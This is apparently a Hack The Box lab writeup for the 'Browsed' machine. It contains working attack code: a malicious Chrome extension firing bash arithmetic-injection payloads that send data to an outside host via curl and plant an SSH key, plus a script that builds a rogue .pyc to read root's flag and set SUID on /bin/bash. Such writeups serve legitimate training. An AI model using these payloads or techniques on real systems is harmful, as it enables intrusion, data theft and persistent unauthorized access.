// tl;dr

Malicious Chrome MV3 extension uploaded to server-side browser achieved RCE via bash arithmetic evaluation in a Flask/bash backend, then escalated to root via .pyc injection into a world-writable __pycache__ directory of a sudo-allowed Python script.

contents
Browsed pwned certificate

Browsed – HTB Writeup#

Machine Summary#

PropertyValue
NameBrowsed
IP10.129.244.79
OSLinux (Ubuntu 24.04)
DifficultyMedium
Key TopicsChrome extension abuse, bash arithmetic evaluation, Python .pyc injection, sudo privilege escalation

Overview#

Browsed was a Medium Linux machine running nginx with two virtual hosts: a static site with a Chrome extension upload feature (browsed.htb), and an internal Gitea instance (browsedinternals.htb). The server executed uploaded Chrome extensions in a headless Chrome for Testing v134 instance, which visited the Gitea site and localhost. A public Gitea repository revealed a Flask application on localhost:5000 with a bash script vulnerable to arithmetic evaluation injection. A malicious Chrome extension called the vulnerable Flask endpoint to achieve RCE as user larry. Privilege escalation was achieved by injecting a malicious .pyc file into a world-writable __pycache__ directory belonging to a Python script that larry could run as root via sudo.

Reconnaissance#

An nmap scan of all 65535 TCP ports revealed only two open services:

PORT   STATE SERVICE VERSION22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)80/tcp open  http    nginx 1.24.0 (Ubuntu)

The HTTP title was “Browsed” and the hostname browsed.htb was added to /etc/hosts. TTL of 63 from the initial ping confirmed a Linux target behind one hop.

Enumeration#

browsed.htb – Chrome Extension Upload#

Fingerprinting with whatweb showed a static HTML5 UP template site with jQuery and PHP backend. Three key pages were identified:

  • /index.html – Homepage mentioning Chrome v134 extensions
  • /samples.html – Three sample Chrome MV3 extensions (Fontify, ReplaceImages, Timer) available for download
  • /upload.php – Form accepting Chrome extensions as .zip files (content type must be application/zip)

Uploading a test extension and polling upload.php?output=1 revealed Chrome’s verbose logs. Critical findings from the logs:

  • Chrome for Testing installed at /opt/chrome-linux64/
  • Chrome ran as the www user (profile at /var/www/.config/google-chrome-for-testing/)
  • Extensions were extracted to /tmp/extension_*
  • After loading the extension, Chrome navigated to http://browsedinternals.htb/ and http://localhost/
  • CSS paths in the response HTML disclosed Gitea 1.24.5 on browsedinternals.htb

The hostname browsedinternals.htb was added to /etc/hosts.

browsedinternals.htb – Gitea 1.24.5#

The Gitea instance had open registration and one public user larry with a public repository MarkdownPreview. The repository source code was retrieved via the Gitea API:

app.py – A Flask application running on 127.0.0.1:5000 with these endpoints:

EndpointMethodFunction
/GETMarkdown editor form
/submitPOSTConvert markdown to HTML, save to files/
/routines/<rid>GETExecute subprocess.run(["./routines.sh", rid])
/view/<filename>GETServe saved HTML files (uses secure_filename)

routines.sh – A bash script managing temp files, backups, and logs. The critical section:

if [[ "$1" -eq 0 ]]; then  # Routine 0: Clean temp files  ...elif [[ "$1" -eq 1 ]]; then  ...

The use of -eq (integer comparison) inside [[ ]] triggers bash arithmetic evaluation on $1. This is the vulnerability: bash evaluates array subscripts as commands, so a payload like a[$(command)] causes command substitution during the arithmetic evaluation.

Exploitation – User Flag#

Attack Chain#

  1. Upload a malicious Chrome MV3 extension to browsed.htb/upload.php
  2. Server-side Chrome loads the extension and visits browsedinternals.htb and localhost
  3. The extension’s service worker makes fetch requests to localhost:5000/routines/<payload>
  4. Flask passes the payload to subprocess.run(["./routines.sh", payload])
  5. Bash evaluates the payload as an arithmetic expression, triggering command substitution

Key Constraint#

Flask’s <rid> route parameter does not match paths containing / characters. All payloads had to be crafted without forward slashes. This was solved by using cd ~ to navigate to home directories and find with -name to locate files.

Malicious Extension#

The extension used manifest_version 3 with a service worker (background.js) and content script:

manifest.json:

{  "manifest_version": 3,  "name": "RCEHelper",  "version": "1.0",  "permissions": [],  "host_permissions": ["<all_urls>"],  "background": { "service_worker": "background.js" },  "content_scripts": [{    "matches": ["<all_urls>"],    "js": ["content.js"],    "run_at": "document_idle"  }]}

background.js (key function):

async function tryRoutine(payload, label) {  // payload must NOT contain / (Flask <rid> route won't match)  if (payload.includes('/')) return;  const url = "http://localhost:5000/routines/" + encodeURIComponent(payload);  const resp = await fetch(url);  // ...}

The payloads used the bash arithmetic evaluation trick:

// Get user flagawait tryRoutine('a[$(find ~ -name user.txt | xargs cat | curl -d @- 10.10.14.51:9999)]', 'flag');// Get idawait tryRoutine('a[$(id | curl -d @- 10.10.14.51:9999)]', 'id');// Create .ssh directory and add SSH key for persistent accessawait tryRoutine('a[$(cd ~ && mkdir -p .ssh)]', 'mkdir_ssh');await tryRoutine('a[$(cd ~ && cd .ssh && echo BASE64KEY | base64 -d >> authorized_keys)]', 'add_key');await tryRoutine('a[$(cd ~ && chmod 700 .ssh && cd .ssh && chmod 600 authorized_keys)]', 'fix_perms');// Enumerate sudo privilegesawait tryRoutine('a[$(sudo -l 2>&1 | curl -d @- 10.10.14.51:9999)]', 'sudo_l');

Execution#

A Python HTTP listener was started on the attacker machine (port 9999) to receive exfiltrated data. The extension was zipped and uploaded:

cd exploits/rce_ext && zip -j ../rce_ext.zip manifest.json background.js content.jscurl -X POST http://browsed.htb/upload.php -F "extension=@rce_ext.zip;type=application/zip"

The listener received callbacks confirming RCE as larry (uid=1000). The user flag was exfiltrated and an SSH key was injected for persistent access.

ssh -i exploits/larry_key larry@10.129.244.79 "cat /home/larry/user.txt"5e827d3fc8fa66b1bef810477e90d455

The sudo -l output revealed the privilege escalation vector:

(root) NOPASSWD: /opt/extensiontool/extension_tool.py

User Flag: 5e827d3fc8fa66b1bef810477e90d455

Privilege Escalation – Root Flag#

Enumeration#

With SSH access as larry, the sudo-allowed script was analysed:

cat /opt/extensiontool/extension_tool.pycat /opt/extensiontool/extension_utils.pyls -la /opt/extensiontool/__pycache__/

Key findings:

  • extension_tool.py imports extension_utils and jsonschema
  • extension_utils.py contains extension validation and cleanup functions
  • /opt/extensiontool/__pycache__/ had permissions drwxrwxrwx (world-writable) and was empty

Python .pyc Injection#

When Python imports a module, it checks __pycache__/ for a compiled .pyc file before reading the .py source. By placing a malicious .pyc in the world-writable __pycache__/ directory, the import could be hijacked when extension_tool.py ran as root.

The .pyc file header was crafted with flags=1 (hash-based, unchecked invalidation). With this flag, Python loads the cached bytecode without verifying the source hash, so it executes the malicious code regardless of what the real extension_utils.py contains.

python3.12 -c 'import py_compile, struct, os, time, marshal, types# Malicious code to execute as rootcode_str = """import osos.system("cp /root/root.txt /tmp/root_flag.txt && chmod 644 /tmp/root_flag.txt")os.system("chmod u+s /bin/bash")"""# Compile to code objectcode = compile(code_str, "extension_utils.py", "exec")# Build .pyc with flags=1 (hash-based unchecked)magic = (3531).to_bytes(2, "little") + b"\r\n"  # Python 3.12 magicflags = (1).to_bytes(4, "little")               # unchecked hash-basedsource_hash = b"\x00" * 8                        # ignored when uncheckedmarshalled = marshal.dumps(code)pyc_data = magic + flags + source_hash + marshalledwith open("/tmp/extension_utils.cpython-312.pyc", "wb") as f:    f.write(pyc_data)'

The compiled .pyc was placed in the target directory and the sudo script was executed:

cp /tmp/extension_utils.cpython-312.pyc /opt/extensiontool/__pycache__/sudo /opt/extensiontool/extension_tool.py --ext Fontify

Python imported the malicious extension_utils from __pycache__/ as root, which:

  1. Copied /root/root.txt to /tmp/root_flag.txt with world-readable permissions
  2. Set the SUID bit on /bin/bash
cat /tmp/root_flag.txt57c26369d7e423e2ba313ad8f31fa457ls -la /bin/bash-rwsr-xr-x 1 root root ... /bin/bash

Root Flag: 57c26369d7e423e2ba313ad8f31fa457

Obstacles & Lessons Learned#

  1. No forward slashes in Flask route parameter: The Flask <rid> route type does not match paths containing /. All bash payloads had to avoid / entirely. This was overcome by using cd ~ for navigation and find -name for file discovery instead of absolute paths.

  2. SSH key injection via base64: The SSH public key itself contained / characters, which would break the payload. This was solved by base64-encoding the key and using echo KEY | base64 -d >> authorized_keys on the target.

  3. Python .pyc header flags: Simply compiling a .pyc with py_compile would produce a timestamp-based cache file that Python would reject because the timestamp would not match extension_utils.py. Setting flags=1 in the .pyc header switched Python to hash-based unchecked invalidation mode, causing it to load the cached bytecode without any source verification.

  4. Service worker vs content script: The initial approach of using only content scripts was insufficient because localhost:5000 needed to be fetched from a context that could reach it. The MV3 service worker (background.js) had the right permissions via host_permissions: ["<all_urls>"] to make cross-origin fetch requests directly to localhost:5000.

Tools Used#

ToolPurpose
nmapTCP port scanning and service version detection
whatwebWeb technology fingerprinting
curlHTTP requests for upload, API interaction, and testing
ffufVirtual host / subdomain enumeration
python3HTTP listener for data exfiltration, .pyc compilation
zipPackaging the malicious Chrome extension
ssh / ssh-keygenPersistent access after initial RCE
Chrome for Testing (server-side)Executed the uploaded malicious extension